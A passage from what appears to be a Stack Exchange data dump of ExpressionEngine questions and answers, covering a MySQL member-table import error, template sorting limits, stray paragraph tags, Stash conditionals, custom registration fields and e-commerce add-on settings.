'ln''y[3?pEv?i7Q2J!K1XRZ.b|?~ZLeHj1X$0kO#jn''i~MR7#d9gPVq&amp;amp;n-oS7?&amp;amp;|T1y&quot;KC?5[n,GBf%&gt;Drq$EU)sK]i)C}6$n/&lt;em&gt;vS_^ez!KcTsit|bi[%n&gt;^.^)\&amp;amp;BY,dVs%i-I7&lt;/em&gt;,KO:Ri:C6m|:XypP-&amp;amp;$HblI#|FXPT,K{\SJVN[01Sfix\6J2&amp;amp;^h5?~aPwb3Hd8&amp;amp;Z\/3w;mf&quot;2ttltgVpU@Re{]8vQtw2!$''7y&amp;amp;#x''1DB[b*P_;f8&amp;lt;#WtYDo3;J$f)XEKzOLCzMk2+4Ko[|#$2:r@b\', '44618e223d9854ba94161bb265cd4aa357de775b', 'f4085b33f0b9728ea4ac3e8322614b0b75286a31', NULL, 'test@test.com', '', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 'y', 0, 0, '81.156.245.253', 1370811547, 1373841426, 1395876372, 0, 0, 0, 0, 0, 0, 0, 0, 'n', 'y', 'y', 'y', 'y', 'y', 'y', 'y', 'y', 'english', 'UTC', '24', 'n', '%j-%n-%y', NULL, NULL, NULL, NULL, '20', NULL, '18', NULL, NULL, 'n', 0, 'y', 0), (14, 5, 'test@test.com', 'Mark Finnegan', '1a0f69354775a15816f98d864e2eef2c4e6ea4287700a7947a0d14687659b1b8b87545f130fda1be9bd69c9df5586a3678fd4fc89f37073660003f769cf7f758', '4zfd''~Q?-LOyI\&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;MySQL said: Documentation&lt;/p&gt;&#xA;  &#xA;  &lt;h1&gt;1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''4zfd''~Q?-LOyI\' at line 5&lt;/h1&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The MySQL version I'm exporting from is 5.5.40-1.el6.remi, and the version I'm importing into is 5.5.44-30.el6.art. Would this cause a problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE version is the same on both systems as I'm replicating a site (v2.8.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other tables have imported OK. I can import some individual rows in the MEMBERS table, but others throw this error.&lt;/p&gt;&#xA;" OwnerUserId="1851" LastActivityDate="2015-11-03T19:17:36.407" Title="Error importing EXP_MEMBERS" Tags="|mysql|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34616" PostTypeId="1" CreationDate="2015-11-03T19:53:43.473" Score="0" ViewCount="66" Body="&lt;p&gt;There is a page with 6 entries that are supposed to show but only shows 2 when sorted in ascending order.  I sort in descending order and all 6 entries show.  What is going on here?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;gcswim-meets&quot;&#xA;    orderby=&quot;gym-date&quot; &#xA;    sort=&quot;asc&quot;}&#xA;&#xA;    {if '{gym-date format=&quot;%Y-%m-%d %H:%i&quot;}' &amp;gt;= '{current_time format=&quot;%Y-%m-%d %H:%i&quot;}'}&#xA;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td width=&quot;220&quot;&amp;gt;&#xA;            {title}&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td width=&quot;68&quot;&amp;gt;&#xA;            {gym-date format=&quot;%m/%j&quot;}&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td width=&quot;68&quot;&amp;gt;&#xA;            {gym-time}&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt; &#xA;            {gym-location}&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&#xA;    {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6811" LastEditorUserId="3579" LastEditDate="2015-11-03T20:29:17.877" LastActivityDate="2016-06-11T16:13:49.033" Title="EE2.2.0 | sort=&quot;asc&quot; only shows 2 entries where sort=&quot;desc&quot; shows all" Tags="|channel-entries|sort|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34617" PostTypeId="2" ParentId="34616" CreationDate="2015-11-03T20:30:56.140" Score="0" Body="&lt;p&gt;Just found out there is a secret limit of 100 for entries.  Adding limit=&quot;900&quot; fixed it.  This is pretty ridiculous, I have to say.&lt;/p&gt;&#xA;" OwnerUserId="6811" LastActivityDate="2015-11-03T20:30:56.140" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34618" PostTypeId="1" CreationDate="2015-11-03T22:01:38.213" Score="0" ViewCount="45" Body="&lt;p&gt;I would like to have a row of checkboxes representing event categories so I can select which categories are displayed on the active calendar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be best if checking or unchecking automatically refreshed the calendar (or entire page if needed) without a submit button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greg&lt;/p&gt;&#xA;" OwnerUserId="3709" LastActivityDate="2015-11-03T22:01:38.213" Title="Solspace Calendar - Use checkboxes to dynamicly filter displayed events" Tags="|categories|solspace-calendar|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34619" PostTypeId="1" AcceptedAnswerId="35618" CreationDate="2015-11-04T06:03:00.363" Score="2" ViewCount="175" Body="&lt;p&gt;I’m converting an add-on from EE 2 to EE 3. It uses $.ee_filebrowser.add_trigger. As far as I can that still exists but I get a console error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Uncaught TypeError: Cannot read property 'dialog' of undefined&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can’t quite figure out what to do. I’ve tried to dicipher it in the minified code but I can’t quote figure it out. Can anyone point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="467" LastActivityDate="2016-02-19T16:20:40.557" Title="EE 3.0 $.ee_filebrowser.add_trigger console errors" Tags="|file-uploads|javascript|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34621" PostTypeId="1" AcceptedAnswerId="34957" CreationDate="2015-11-04T12:44:56.417" Score="0" ViewCount="32" Body="&lt;p&gt;While using the EE 3.0.2, I got this trash inside a variables, when using for example {exp:channel:categories} or {exp:channel:category_heading}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:category_heading}&#xA;&amp;lt;h1&amp;gt; my free text here  {my_category_field} &amp;lt;/h1&amp;gt;&#xA;{/exp:channel:category_heading}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I'm viewing my result, I see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt; my free text here &amp;lt;p&amp;gt;category field value&amp;lt;/p&amp;gt; &amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a format field option in adding new field for categories, when I'm creating a field, I'm choosing no format at all, but when I'm going to edit the options of created field, I see the &quot;XHTML&quot; selected option there, which I can't change to something else. I think this trash &quot;p&quot; tag is going from here. What should I do to destroy this bug? &lt;/p&gt;&#xA;" OwnerUserId="6814" LastActivityDate="2016-03-10T10:07:10.800" Title="Trash tags in variables" Tags="|categories|fields|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34622" PostTypeId="2" ParentId="34621" CreationDate="2015-11-04T14:06:26.823" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What should I do to destroy this bug?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;... start by verifying it's a bug, and then report it to EllisLab. This is a common issue with EE (people finding the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag inserts in formatted fields) but usually setting the field format to &lt;code&gt;None&lt;/code&gt; fixes that. Did you edit the field and verify its setting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Head on over to your&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;system/index.php?/cp/channels/fields/edit/XXX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;page (&lt;code&gt;XXX&lt;/code&gt; is your field_id) and verify that it's &lt;code&gt;Text formatting&lt;/code&gt; is set to &lt;code&gt;None&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-11-04T14:06:26.823" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34623" PostTypeId="2" ParentId="34621" CreationDate="2015-11-04T14:33:49.017" Score="0" Body="&lt;p&gt;So, until it's a bug, we need a common decision for it. I made this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;My custom text &amp;lt;?=strip_tags('{my_category_field}')?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and turned on PHP-parsing on closing for that template. Dumb, but this works for now.&lt;/p&gt;&#xA;" OwnerUserId="6814" LastActivityDate="2015-11-04T14:33:49.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34624" PostTypeId="1" CreationDate="2015-11-04T14:57:09.180" Score="1" ViewCount="42" Body="&lt;p&gt;'Empty Cart on Member Logout' seemed to be an option in an older version of Store (&lt;a href=&quot;https://www.exp-resso.com/docs/v1/settings_general.html#empty_cart_on_member_logout&quot; rel=&quot;nofollow&quot;&gt;https://www.exp-resso.com/docs/v1/settings_general.html#empty_cart_on_member_logout&lt;/a&gt;) but missing on the version I have installed - v2.4.1. Is there a way to prevent the cart emptying when a user logs out? ie if a user saves items to the cart, does not purchase, logs out then back in later.&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2015-11-04T14:57:09.180" Title="Expresso Store: Empty Cart on Member Logout" Tags="|expresso-store|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34625" PostTypeId="1" CreationDate="2015-11-04T16:13:53.853" Score="0" ViewCount="64" Body="&lt;p&gt;I just did a DB upgrade from 2.4 to 2.10.1. And I switched my templates to save as files. And I am having issues where EE will always load the site default template index. I've removed Pages and Better Workflow to see if that would help. If I try to go to any page other than the site index, it loads the sites default template. The SQL Query below is ran on every template/template group I create. If I modify the query below I can get it to pull the correct template, but what is configured with EE that is making it load the site's default template/index on every other template I try to create?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `exp_templates`.*, `exp_template_groups`.`group_name`&#xA;FROM (`exp_templates`)&#xA;JOIN `exp_template_groups` ON `exp_template_groups`.`group_id` = `exp_templates`.`group_id`&#xA;WHERE `exp_template_groups`.`site_id` =  '1'&#xA;AND `exp_templates`.`template_name` =  'index'&#xA;AND `exp_template_groups`.`is_site_default` =  'y'&#xA;#APP/libraries/Template.php L:2381  EE_Template::fetch_template()&#xA;&#xA;SELECT `exp_templates`.*, `exp_template_groups`.`group_name`&#xA;FROM (`exp_templates`)&#xA;JOIN `exp_template_groups` ON `exp_template_groups`.`group_id` = `exp_templates`.`group_id`&#xA;WHERE `exp_template_groups`.`site_id` =  '1'&#xA;AND `exp_templates`.`template_name` =  '.layout'&#xA;AND `exp_template_groups`.`group_name` =  'site'&#xA;#APP/libraries/Template.php L:2381  EE_Template::fetch_template()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1173" LastActivityDate="2016-06-09T02:22:13.180" Title="EE Always Loading Site Default Template" Tags="|templates|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34626" PostTypeId="1" CreationDate="2015-11-04T16:19:43.160" Score="1" ViewCount="59" Body="&lt;p&gt;I have a form that has 2 stages&#xA;each stage creates a new entry&#xA;Stage one makes an event and stage 2 makes a client&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part I'm having trouble with is making the event relate to the client&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first part of the form directs the user to the next page and includes the newly created url title&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form return=&quot;make-an-event/URL_TITLE&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In part 2 I want to make the client and add that created event to the clients related entry field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form require_entry=&quot;no&quot; channel=&quot;clients&quot; return=&quot;thank-you&quot;}&#xA;&#xA; &amp;lt;input type=&quot;text&quot; name=&quot;cli_events:url_title[data][]&quot; value=&quot;{segment_2}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I'm not having much luck&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3592" LastActivityDate="2018-03-09T15:15:16.177" Title="Add related entry data via channel form" Tags="|safecracker|relationships|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34627" PostTypeId="1" AcceptedAnswerId="34663" CreationDate="2015-11-04T17:27:26.470" Score="0" ViewCount="27" Body="&lt;p&gt;I've heard there is a way to use the discount code field of a checkout form to accept gift certificate codes within Cartthrob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite Googling I can't find any reference to this. Does anyone know if this is possible or does the gift certificate redemption require its own form? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes it difficult to use in the checkout as that is itself a form. Forms in forms are bad! I know this could be done with Ajax but it seems silly to have to do that when a simple field on the checkout form will do.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-11-07T00:22:45.013" Title="Use discount code field for Gift Certificate redemption in Cartthrob" Tags="|cartthrob|giftcertificates|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34628" PostTypeId="2" ParentId="34521" CreationDate="2015-11-04T18:22:00.733" Score="0" Body="&lt;p&gt;Ok. I decided to look at this since we need this for our site. I have a fix for the new member registration page (not letting them be edited from the CP yet, that is next).  Using EE3.0.0, in file system/ee/EllisLab/ExpressionEngine/Controller/Members/Create.php, there are two places that need to be changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show fields, change function index() and add code to actually check for custom fields. Here is how I did it (I’m sure there are better ways):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 65 - 134 changed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tmp_final[] = array(&#xA;            'title' =&amp;gt; 'member_group',&#xA;            'desc' =&amp;gt; 'member_group_desc',&#xA;            'fields' =&amp;gt; array(&#xA;                'group_id' =&amp;gt; array(&#xA;                    'type' =&amp;gt; 'select',&#xA;                    'choices' =&amp;gt; $choices,&#xA;                    'value' =&amp;gt; (isset($choices[5]) &amp;amp;&amp;amp; $choices[5] == 'Members') ? 5 : '',&#xA;                    'required' =&amp;gt; TRUE&#xA;                )&#xA;            )&#xA;        );&#xA;    $tmp_final[] = array(&#xA;            'title' =&amp;gt; 'username',&#xA;            'fields' =&amp;gt; array(&#xA;                'username' =&amp;gt; array('type' =&amp;gt; 'text', 'required' =&amp;gt; TRUE)&#xA;            )&#xA;        );&#xA;    $tmp_final[] = array(&#xA;            'title' =&amp;gt; 'mbr_email_address',&#xA;            'fields' =&amp;gt; array(&#xA;                'email' =&amp;gt; array('type' =&amp;gt; 'text', 'required' =&amp;gt; TRUE)&#xA;            )&#xA;        );&#xA;    $tmp_final[] = array(&#xA;            'title' =&amp;gt; 'password',&#xA;            'desc' =&amp;gt; 'password_desc',&#xA;            'fields' =&amp;gt; array(&#xA;                'password' =&amp;gt; array('type' =&amp;gt; 'password', 'required' =&amp;gt; TRUE)&#xA;            )&#xA;        );&#xA;    $tmp_final[] = array(&#xA;            'title' =&amp;gt; 'password_confirm',&#xA;            'desc' =&amp;gt; 'password_confirm_desc',&#xA;            'fields' =&amp;gt; array(&#xA;                'confirm_password' =&amp;gt; array('type' =&amp;gt; 'password', 'required' =&amp;gt; TRUE)&#xA;            )&#xA;        );&#xA;&#xA;    //Get custom member fields &#xA;    $cust_fields = ee()-&amp;gt;db-&amp;gt;from('member_fields')-&amp;gt;where('m_field_reg', 'y')-&amp;gt;order_by('m_field_id', 'asc')-&amp;gt;get();&#xA;&#xA;    if ($cust_fields-&amp;gt;num_rows() &amp;gt; 0) {&#xA;        // Have custom fields. Add fields to registration form and for validation.&#xA;        foreach ($cust_fields-&amp;gt;result_array() as $row)&#xA;        {&#xA;            if ($row['m_field_type'] == 'select') {&#xA;                $choices = array();&#xA;                $value = 0;&#xA;                $choice = explode(&quot;\n&quot;, $row['m_field_list_items']);&#xA;                $c = 0;&#xA;                foreach($choice as $choi) &#xA;                {&#xA;                    $choices[$c] = $choi;&#xA;                    $c++;&#xA;                }   &#xA;            } else {&#xA;                $value = '';&#xA;            }   &#xA;            if ($row['m_field_required'] == 'n') &#xA;                $required = FALSE;&#xA;            else &#xA;                $required = TRUE;&#xA;&#xA;&#xA;            $tmp_final[] = array(&#xA;                'title' =&amp;gt; $row['m_field_label'],&#xA;                'desc' =&amp;gt; $row['m_field_description'],&#xA;                'fields' =&amp;gt; array(&#xA;                    'field_id_'.$row['m_field_id'] =&amp;gt; array(&#xA;                        'type' =&amp;gt; $row['m_field_type'], &#xA;                        'choices' =&amp;gt; $choices,&#xA;                        'required' =&amp;gt; $required,&#xA;                        'value' =&amp;gt; $value&#xA;                    )&#xA;                )&#xA;            );&#xA;            if ($row['m_field_required'] == 'y') {&#xA;                $tmp_validation[] = array(&#xA;                     'field'   =&amp;gt; 'field_id_'.$row['m_field_id'],&#xA;                     'label'   =&amp;gt; $row['m_field_label'],&#xA;                     'rules'   =&amp;gt; 'required'&#xA;                 );&#xA;            }&#xA;        }&#xA;    }&#xA;    $vars['sections'][] = $tmp_final;&#xA;&#xA;    $tmp_validation[] = array(&#xA;             'field'   =&amp;gt; 'group_id',&#xA;             'label'   =&amp;gt; 'lang:member_group',&#xA;             'rules'   =&amp;gt; 'required|integer|callback_valid_group_id'&#xA;        );&#xA;    $tmp_validation[] = array(&#xA;             'field'   =&amp;gt; 'username',&#xA;             'label'   =&amp;gt; 'lang:username',&#xA;             'rules'   =&amp;gt; 'required|trim|valid_username'&#xA;        );&#xA;    $tmp_validation[] = array(&#xA;             'field'   =&amp;gt; 'email',&#xA;             'label'   =&amp;gt; 'lang:email',&#xA;             'rules'   =&amp;gt; 'required|valid_email'&#xA;        );&#xA;    $tmp_validation[] = array(&#xA;            'field'    =&amp;gt; 'password',&#xA;            'label'    =&amp;gt; 'lang:password',&#xA;            'rules'    =&amp;gt; 'required|valid_password[username]'&#xA;        );&#xA;    $tmp_validation[] = array(&#xA;             'field'   =&amp;gt; 'confirm_password',&#xA;             'label'   =&amp;gt; 'lang:confirm_password',&#xA;             'rules'   =&amp;gt; 'required|matches[password]'&#xA;        );&#xA;&#xA;    ee()-&amp;gt;form_validation-&amp;gt;set_rules($tmp_validation);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, to get the fields to actually be inserted into the database, a couple of changes need to be made in function register_member(), at lines 292-294:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if ($this-&amp;gt;input-&amp;gt;post(‘field_id_’.$row[‘m_field_id’]) !== FALSE)&#xA;{&#xA;$cust_fields[‘field_id_’.$row[‘m_field_id’]] = $this-&amp;gt;input-&amp;gt;post(‘field_id_’.$row[‘m_field_id’], TRUE);&#xA;}&#xA;&lt;/code&gt;&#xA;since the names of the columns in exp_member_data have dropped the ‘m_’ prefix on the column names.&lt;/p&gt;&#xA;" OwnerUserId="1138" LastActivityDate="2015-11-04T18:22:00.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34629" PostTypeId="1" AcceptedAnswerId="34630" CreationDate="2015-11-04T19:21:28.837" Score="0" ViewCount="40" Body="&lt;p&gt;I have a &lt;code&gt;{exp:channel:entries}&lt;/code&gt; loop inside of an &lt;code&gt;{exp:freeform:form}&lt;/code&gt; pair tag. When I call the &lt;code&gt;{count}&lt;/code&gt; variable inside the channel entries loop, I'm expecting the count of the channel entries. Instead, it is only returning &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use this same exact channel entries loop outside the freeform tags, it correctly increments the count with each entry. I know that &lt;code&gt;{freeform:count}&lt;/code&gt; exists and the I presume this is done in order to not interfere with the CE count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea why this might be happening?&lt;/p&gt;&#xA;" OwnerUserId="2916" LastActivityDate="2015-12-04T22:01:38.583" Title="Freeform Pro disrupting Channel Entries count variable" Tags="|ee2|channel-entries|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34630" PostTypeId="2" ParentId="34629" CreationDate="2015-11-04T19:42:44.147" Score="1" Body="&lt;p&gt;Try putting the channel entries loop in an embedded template.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-11-04T19:42:44.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34631" PostTypeId="1" CreationDate="2015-11-04T22:43:14.517" Score="1" ViewCount="73" Body="&lt;p&gt;I would like to configure DataGrab to use a relative path for its CSV importing. Is this possible? The reason for this is that I need to duplicate this site and don't want to hard code the domain name in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, but not ideal, is there a way to edit the URL path? Maybe I can just edit the URLs for each copy of the site.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-11-11T20:47:33.313" Title="DataGrab: How to use relative URL? Or edit URL?" Tags="|datagrab|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34632" PostTypeId="1" AcceptedAnswerId="34650" CreationDate="2015-11-04T22:48:15.970" Score="0" ViewCount="25" Body="&lt;p&gt;I'm about to launch several EE sites with Expresso Store. Each site will basically have the same products. And when some of the products go on promotion, they need to happen across the individual sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to quickly replicate the configuration of promotions (e.g. a 50% discount sale on 100 products) across multiple sites?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-11-05T19:51:09.600" Title="Store: how to configure promotions in bulk?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34635" PostTypeId="1" AcceptedAnswerId="34639" CreationDate="2015-11-05T00:58:29.730" Score="1" ViewCount="562" Body="&lt;p&gt;I just purchased a license key but that is for the production environment. How do I install and setup Expression Engine in my development server?&lt;/p&gt;&#xA;" OwnerUserId="6699" LastActivityDate="2020-01-07T23:37:55.507" Title="How do I set up Expression Engine in development environment without the license?" Tags="|development|license|install|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34636" PostTypeId="1" CreationDate="2015-11-05T01:03:29.963" Score="0" ViewCount="77" Body="&lt;p&gt;I'm really stuck and I know it's likely something small that I'm missing. I read the page in the wiki that relates to stash conditionals (&lt;a href=&quot;https://gist.github.com/croxton/9d012297096892ca5c10&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/croxton/9d012297096892ca5c10&lt;/a&gt;), but I have to admit, I don’t completely follow whether it would apply the same way to set_list and get_list. Here’s my setup - I’m using the older way of inserting the wrapper template, using a traditional EE embed rather than a stash embed (perhaps that too should change?):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MY LOGIC TEMPLATE (simplified slightly to strip out details you likely don’t need to zero in on my problem)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_layouts/.catalog-product-details&quot;}&#xA;{exp:stash:context name=&quot;stock-parts-product-details&quot;}&#xA;&#xA;    {exp:stash:set_list name=&quot;main_page_body&quot; context=&quot;@&quot; scope=&quot;site&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; save=&quot;yes&quot; parse_depth=&quot;3&quot;}&#xA;&#xA;        {exp:channel:entries channel=&quot;products&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; url_title=&quot;{last_segment}&quot; disable=&quot;relationships|categories|pagination|member_data&quot; cache=&quot;yes&quot; refresh=&quot;720&quot;}&#xA;&#xA;            {stash:current_product_category_url_title}{if segment_6}{segment_5}{if:else}{segment_4}{/if}{/stash:current_product_category_url_title}&#xA;            {stash:current_product_category_id}{if segment_6}{segment_5_category_id}{if:else}{segment_4_category_id}{/if}{/stash:current_product_category_id}&#xA;&#xA;            {stash:product_name}{title}{/stash:product_name}&#xA;&#xA;            various other individual variables that are stashed for the single product&#xA;&#xA;        {/exp:channel:entries}&#xA;&#xA;    {/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;MY WRAPPER LAYOUT TEMPLATE&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;main_page_body&quot; context=&quot;@&quot; scope=&quot;site&quot; save=&quot;yes&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;{product_name}&amp;lt;/h1&amp;gt;&#xA;&#xA;    and other items stashed for the product from the logic template}&#xA;&#xA;    {exp:channel:entries channel=&quot;products&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; category=&quot;{current_product_category_id}&quot; url_title=&quot;{last_segment}&quot; disable=&quot;relationships|categories|pagination|member_data&quot; cache=&quot;yes&quot; refresh=&quot;720&quot;}&#xA;&#xA;        {exp:ifelse parse=&quot;inward&quot;}&#xA;            {if current_product_category_url_title == &quot;widgets&quot;}&#xA;                Width (A): {cf_prod_width}&#xA;            {if current_product_category_url_title == &quot;whosits&quot;}&#xA;                Height (A): {cf_prod_height}&#xA;                Width (C): {cf_prod_width}&#xA;            {if current_product_category_url_title == &quot;somethingelse&quot;}&#xA;                Length (A): {cf_prod_height}&#xA;                Inside Width (B): {cf_prod_inside_width}{if cf_prod_inside_width_special}{cf_prod_inside_width_special}{/if}&#xA;&#xA;            THIS PATTERN CONTINUES FOR A LONG TIME DOWN THE PAGE BECAUSE THERE ARE 120 CATEGORIES WITHIN WHICH THE SET OF VARIABLES TO DISPLAY COULD BE DIFFERENT&#xA;&#xA;            {if:else}&#xA;            {/if}&#xA;        {/exp:ifelse}&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a test, if I comment out (using EE comments so they don’t parse at all) the inside of the outer if:else conditions, the page loads in less than a second. But when the inside of each condition is kept alive in the template, the page is incredibly slow. So I can tell am I failing to setup the template in a way that would allow the stashed variable, current_product_category_url_title to be evaluated first and prevent the inside of non-matching conditions from being parsed. The product_category_url_title is being set in the logic template and retrieved in the layout template mainly because of my need to parse the segment data conditionally - it’s the “immediate parent” category that I’m after and it’s not always the same segment because I’m concatenating the URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is it that I’ve missed with the conditional setup? And could the conditionals actually be stored within the logic template (and would that make a difference?). Why are the inside conditionals parsing and how can i prevent that?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2016-06-15T10:05:07.860" Title="Need help to stop inner conditionals from parsing with with nested conditionals and stash" Tags="|stash|conditionals|ifelse|switchee|advanced-conditionals|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34637" PostTypeId="1" AcceptedAnswerId="34761" CreationDate="2015-11-05T01:20:59.633" Score="1" ViewCount="85" Body="&lt;p&gt;Using EE 2.x I had the ability as the Super Admin to click 'Login as Member' link from any member profile in the system and proceed to login as them without actually knowing their password. I've recently upgraded to EE3 and notice that the password is a required field when attempting to login as another Member. Is there anyway to disable that requirement and allow the Super Admin to login as any Member in the system without knowing their password? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips or suggestions would be greatly appreciated, Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3279" LastActivityDate="2015-11-17T15:41:51.167" Title="Login as another Member without the password" Tags="|member-management|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34638" PostTypeId="2" ParentId="34636" CreationDate="2015-11-05T01:26:43.737" Score="0" Body="&lt;p&gt;From what I can make out 'ifelse' is useful for early parsing conditionals, but still uses EE's conditional logic(?).&#xA;This means that EVERY conditional (Pre 2.9) is evaluated even if the condition is met before they are all checked. (from tests I think I remember seeing they are even checked when commented out). (enable template debugging to see this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an addon called switchee which handles this differently and might help with performance in your case.&lt;/p&gt;&#xA;" OwnerUserId="3592" LastActivityDate="2015-11-05T01:26:43.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
